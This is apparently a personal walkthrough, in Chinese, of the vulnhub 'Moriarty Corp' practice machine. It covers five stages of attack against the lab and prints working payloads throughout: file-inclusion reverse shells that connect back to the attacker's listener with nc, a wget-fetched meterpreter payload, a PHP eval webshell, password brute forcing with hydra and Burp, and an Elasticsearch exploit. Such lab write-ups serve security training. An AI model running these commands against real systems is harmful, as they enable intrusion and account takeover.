打靶筆記-03-vulhub-Moriarty Corp

WTHusky發表於2022-03-16

打靶筆記-03-vulhub-BoredHackerBlog

一、靶機資訊

Name: BoredHackerBlog: Moriarty Corp(中-高階難度)
Date release: 29 Mar 2020
Author: BoredHackerBlog
Series: BoredHackerBlog

這個靶機下載頁面有些提示,8000是提交flag的埠,沒必要攻擊,然後漏洞環境是安裝在靶機的Docker中的,別的好像沒了或者不太重要,可以按照完全啥也不知道進行打靶。

二、靶機啟動

2.1 靶機hash校驗

sha1sum MoriartyCorp.ova   
e9874e51a2645c1b61a3afc771aa5abdc94bf264  MoriartyCorp.ova

2.2 匯入Virtualbox,並配置網路

這個靶機依然是適用於Vbox,而我攻擊機器是在Vmware上搭建的,所以還是將Vbox的網路橋接到vmnet8上,使其處於一個網段,實戰中這塊無需多慮。
Img

2.3 啟動靶機

為了以防萬一,打個快照,啟動靶機開始練習
Img

三、開始打靶

3.1 獲取靶機IP

3.1.1 攻擊機IP以及網路卡資訊

Img

3.1.2 主機發現

sudo arp-scan -I eth0 -l

Img
成功獲取靶機IP為172.16.95.139

3.2 埠&服務掃描

3.2.1 掃描開放埠

sudo nmap -p- 172.16.95.139

Img
發現開放埠22、8000、9000

3.2.2 確認埠所對應服務

按照慣例,對埠後面的服務進一步確認

sudo nmap -p22,8000,9000 -sV 172.16.95.139

Img
可以看到分別是SSH、PythonWeb框架Werkzeug、Portainer Docker UI控制介面
搞到這兒,就可以有多條向下的思路
1. 爆破ssh
2. Portainer 1.19.2 是否有漏洞,它上面搭建的Application是否有web漏洞
3. Portainer 1.19.2 的漏洞利用
可以利用nmap或其他工具進行漏洞掃描測試,這裡簡單利用nmap的指令碼掃描了一下,都沒發現漏洞,所以可以先去訪問下靶機提示的提交flag的8000埠。

3.3 訪問8000埠

Img

3.3.1 開局

這個靶機的一切都從這裡開始進入,先鍵入flag{start}進入第一關
Img
提示80埠,剛剛埠掃描沒發現,現在重新掃描一遍
Img
果然開放了,看起來這個靶機是一關一關開放的,那就開始第一關吧。

3.3.2 第一關

訪問80埠,直接搞開網頁原始碼
Img
發現這個頁面比較簡單,有點用處的就是兩個連結,看到接收引數是file,而且值是個檔案,我們有理由聯想到檔案包含,而且檔名可控,不過不知道路徑可不可控,可以試一試,結合之前埠服務掃描確定的作業系統為linux,所以:

/?file=../../../../../../etc/passwd

Img
發現路徑引數也可控,所以存在本地檔案包含漏洞(LFI),而且包含的是敏感型檔案,說明還存在目錄遍歷漏洞
所以接下來就好玩了,可以包含任意檔案,那就也可以是webshell,然後用蟻劍或冰蠍等進行連線,但前提是判斷伺服器語言環境以及找到上傳webshell的地方

  1. 後端環境為php環境
    簡單判斷了一下,或者也可以用Wappalyzer等外掛確定
    Img
  2. 上傳webshell的地方
    這個地方,可以通過汙染日誌檔案的方式達到目的
ssh '<?php phpinfo();?>'@172.16.95.139
ssh '<?php system($_GET['shell']); ?>'@172.16.95.139

Img
這個肯定連線不上,因為壓根沒有這個使用者名稱,但這裡目的是為了汙染ssh的連線日誌檔案。
為了驗證是否成功汙染,之前汙染了phpinfo的內容進入日誌,可以先包含一下看看:

?file=../../../../../../var/log/auth.log

最後好像失敗了,應該是沒有被汙染,沒想明白,這裡記錄一下,一會兒打進去看一下;

一會兒找到答案後記錄在此
第一關打入進去之後,發現就沒有此日誌檔案,後來才明白過來,這是個容器,而ssh的埠是宿主機的,然而宿主機的80埠對映到了容器中,這個漏洞網站是執行在容器中的,打死也包含不上啊,=-=

這裡利用偽協議再次嘗試:
首先是用了data偽協議:

?file=data:// text/plain,<?php phpinfo();?>
?file=data:// text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

Img
成功!!!那就可以使用data協議進行反彈shell了,如下是程式碼(一定要記得URL編碼,否則程式碼中的一些字元例如&會被瀏覽器解析而無法進入後臺執行):
開啟nc進行監聽

nc -lnvp 6666

反彈shell

?file=data://text/plain,<?php %24sock%3dfsockopen("172.16.95.133","6666")%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b?>

Img
直接執行php的反彈程式碼,結果一閃而過,應該是程式碼執行後就進行記憶體回收了,所以無法持續連結。所以需要可以採用如下的辦法實現:

?file=data://text/plain,<?php $var=shell_exec($_GET['d']);echo $var;?>&d=rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%20172.16.95.133%206666%20%3e%2ftmp%2ff

// 或者採用base64轉換後:
?file=data://text/plain;base64,
PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydkJ10pO2VjaG8gJHZhcjs/Pg==&d=rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%20172.16.95.133%206666%20%3e%2ftmp%2ff

Img
成功拿到第一個flag,然後也提示了下一關資訊是個內網
Img
3. 總結
反彈shell的shell_exec()函式可以自由更換,比如system(),還可以嘗試其他協議,比如http的方式進行遠端包含
不過這裡有個坑,如下:
首先在遠端伺服器(這裡直接以kali為例)上放置需要包含的檔案

cd /var/www/html/
sudo echo '<?php phpinfo();?>' ./1.txt
sudo cp 1.txt 1.php

進行遠端檔案包含

?file=http://172.16.95.133/1.txt

Img
這而是先將1.txt的內容包含到了靶機上進行執行
進行如下遠端包含

?file=http://172.16.95.133/1.php

Img
這是在遠端伺服器上執行後將執行後的html響應內容進行了包含
所以如果想要利用http的方式進行遠端檔案包含(RFI),要注意分辨包含的內容是什麼,要進行反彈shell的話可以將如下下載到的php檔案修改字尾名後掛載到遠端伺服器上再進行包含,否則拿到的shell就是自己遠端伺服器的shell
Img
如果不改字尾名的話,拿到的shell就是自己遠端伺服器的shell,如下就搞笑了:
Img
好了,這就開始進入第二關。。。

3.3.3 第二關

根據提示,這個伺服器上(docker容器)沒有任何資訊,需要進一步內網滲透,也提示了內網網段172.17.0.3-254(也可以自己收集到)
Img
但是接下來,要進行內網滲透,攻擊機器必須能夠訪問到內網網段

兩種辦法

  • 利用第一關拿到的shell提權,然後搞一堆攻擊工具下來,遠端操作,不過這個很不現實,基本可以放棄了
  • 利用第一關拿到的shell建立隧道,使得外網的攻擊機器能夠訪問目標內網,這個可行,建立隧道的方式有很多種,我這裡選擇美少婦(MSF),回頭嘗試一下其他的方式並比較記錄下來
3.3.3.1 建立隧道
  1. 開啟msf,並開始監聽,準備接收shell

    msfconsole
    use exploit/multi/handler
    set payload linux/x64/meterpreter_reverse_tcp
    show options
    set lhost 172.16.95.133
    set lport 8888
    run
    

    Img

  2. msfvenom生成相應的payload

    msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.95.133 lport=8888 -f elf >shell.elf
    

    Img

  3. 利用第一關的shell將生成的payload下載到目標機器執行進行上線

    cd /tmp
    wget http://172.16.95.133/shell.elf
    chmod +x shell.elf
    ./shell.elf
    

    Img
    成功上線
    Img

  4. 給獲得的meterpreter新增內網路由

    route
    run autoroute -s 172.17.0.0/16
    background
    route print
    

    Img

  5. 開啟msf的代理服務端功能

    sessions
    use auxiliary/server/socks_proxy
    show options
    run
    

    Img

  6. 配置proxychains以使用代理

    sudo vim /etc/proxychains4.conf
    

    將msf的代理伺服器地址寫入
    Img

  7. 測試隧道是否成功
    Img
    可以看到隧道已經建立成功

3.3.3.2 開始主機發現
proxychains nmap -p80,22,443 172.17.0.3-254

注意這裡有個坑,就是走proxychains時最好用普通使用者,我用root使用者好像沒掃出有效結果,不知道為啥。

之後找到答案,寫在這裡

Img
成功發現一臺主機172.17.0.4開放了80埠

3.3.3.3 配置火狐代理訪問內網

發現內網有一臺主機開放了80埠,所以可以訪問一下,但是瀏覽器也必須走socks5代理才可以,如下配置
Img
如下已經成功訪問到,可以看出是一個檔案上傳的頁面,看到檔案上傳就嘿嘿嘿了,不過貌似上傳要密碼
Img
或者還可以使用如下命令啟動firefox,也可以訪問到內網web應用

proxychains firefox 172.17.0.4

Img

3.3.3.4 檔案上傳利用

可以看到這個頁面上傳檔案需要密碼,那就只能爆破了,要想爆破就得抓包,所以必須得先讓瀏覽器的包先到burp,然後burp掛著代理去和內網通訊
瀏覽器=>Burp代理=>socks代理===>內網
所以需要做的就是瀏覽器設定代理到burp,然設定burp的socks代理,如下:

Img
Img
Img
到此就搭建好了,然後開始上傳檔案,爆破密碼

  1. 這裡打算上傳webshell,先隨便輸入密碼如下:
echo '<?php @eval($_POST['ant']);?>' > shell.php

Img
2. burp攔截併傳送到intruder進行密碼破解:
Img
Img
這裡字典選擇了rockyou,kali自帶的很大的字典
Img
然後就可以暴力破解了
Img
沒一會兒就找到了到密碼,是password,上傳之後shell.php的地址是./photo/22/shell.php
3. 上傳成功,使用蟻劍連結,蟻劍也需要配置socks5代理
設定代理
Img
連結shell,這裡沒有自定義UA,可以在請求資訊或者js檔案中進行修改
Img

3.3.3.5 尋找flag

最終在根目錄下找到第二個flag:2_flag.txt
Img
提交之後開啟第三關
Img

3.3.4 第三關

根據提示資訊,這關拿到了一些賬戶以及這些賬戶的hash,但是不知道具體哪個機器的ssh連線賬戶,先把賬戶記錄和密碼hash破解記錄下來,分別儲存為user.txt、password.txt
Img

  1. 掃描內網開放了22埠的主機,如果對方ssh服務沒有更改埠號的話就是預設22
proxychains nmap -Pn -sT -p22 172.17.0.3-254

Img
2. 然後發現新的主機172.17.0.5開放了22埠,然後呼叫hydra進行嘗試登陸破解

proxychains hydra -L user.txt -P password.txt

Img
很快就找到了ssh登陸賬戶root密碼weapons
3. 開始嘗試ssh連線
Img
4. 獲取3_flag.txt並提交
Img
根據提示進入第四關,目標內網還搭建有聊天系統,可能在443、8000、8080、8888四個埠,然後還獲得聊天系統的賬戶buyer13密碼arms13

3.3.5 第四關

  1. 開始掃描443、8000、8080、8888埠開放主機
proxychains nmap -Pn -sT -p443,8000,8080,8888 172.17.0.3-254

Img
發現172.17.0.6的主機8000埠開放
2. 訪問http://172.17.0.6:8000
Img
Img
Img
通過分析Chats中的內容,可以發現對方管理員賬戶為admin
3. 邏輯漏洞修改管理員密碼
可以發現有一個Change Password的頁面,訪問一下,發現不用驗證舊密碼,先提交抓包看看
Img
Img
發現果然不需要舊密碼,也沒有驗證碼,判斷這邊是一個任意密碼修改的邏輯漏洞
然後嘗試將使用者名稱修改為admin,放包,如果能夠修改成功,則應該存在一個越權邏輯漏洞
Img
最後成功登陸admin
Img
在admin的Chats中發現了新的flag
Img
4. 提交flag進入下一關
Img
還提示內網還有一個Elasticsearch

3.3.6 第五關

Elasticsearch的預設埠是9200

  1. 掃描內網開放了9200埠的主機
proxychains nmap -Pn -sT -p9200 172.17.0.3-254

Img
很快就發現了主機172.17.0.7開放了9200,很可能就部署在這臺伺服器上
2. 訪問http://172.17.0.7:9200
Img
果然,拿到了這個服務的一些資訊
3. 搜尋Elasticsearch的歷史漏洞資訊

searchsploit Elasticsearch

Img
然後就挨個嘗試吧
4. 漏洞利用
Img

proxychains python2 36337.py 172.17.0.7

Img
5. 提交flag,結束
Img

四、總結

這個靶機從開始的檔案包含各種姿勢反彈shell開始,涉及到了內網隧道搭建任意修改密碼,越權等邏輯漏洞等,練習了反彈shell的姿勢、msf的使用、burp聯動二級代理以及漏洞查詢思路等。
下次可以用下venom,據說也很好用。
這次沒怎麼涉及到免殺和繞過,將基本思路形成肌肉記憶後,需要再免殺和繞過上練習練習,畢竟之後實際環境不像靶機,不怎麼設定waf和防毒。